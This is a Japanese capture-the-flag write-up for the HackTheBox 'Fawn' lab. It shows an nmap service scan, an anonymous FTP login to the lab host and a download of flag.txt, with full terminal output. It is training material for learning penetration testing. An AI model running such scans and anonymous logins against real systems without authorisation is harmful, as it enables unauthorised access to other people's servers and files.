はじめに
本記事は「HackTheBox:Fawn」のwriteupです。
問題
FTPでサーバに乗り込みフラグを探す問題です。
回答
とりあえず、ポートスキャンします。
ftp(tcp/21)が公開されていることがわかりました。
┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.129.1.14
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 00:06 JST
Nmap scan report for 10.129.1.14
Host is up (0.18s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds
次に、ftpコマンドでサーバに繋いでみます。
anonymousユーザでアクセスできるか試してみます（anonymous FTP）。
以下はanonymous FTPについての抜粋です。
anonymous FTPとは、インターネットなどのTCP/IPネットワーク上でファイルの送受信を行うFTPを、誰でも匿名で自由に利用できるようにする仕組み。不特定多数へのソフトウェアやデータの公開・配布などのために利用される。
https://e-words.jp/w/anonymous_FTP.html より
無事ログインすることができました。
┌──(kali㉿kali)-[~]
└─$ ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
lsするとカレントディレクトリのファイル一覧が表示されます。
flag.txtというフラグが記載されていそうなファイルがありました。
getで指定したファイルを接続元にダウンロードさせることができます。
ftp> ls
229 Entering Extended Passive Mode (|||20192|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||41131|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |********************************| 32 75.12 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.17 KiB/s)
ftp> exit
221 Goodbye.
接続元を確認したところflag.txtがダウンロードされており、フラグが記載されていることが確認できました。
┌──(kali㉿kali)-[~]
└─$ ls
Desktop Downloads Pictures Templates flag.txt
Documents Music Public Videos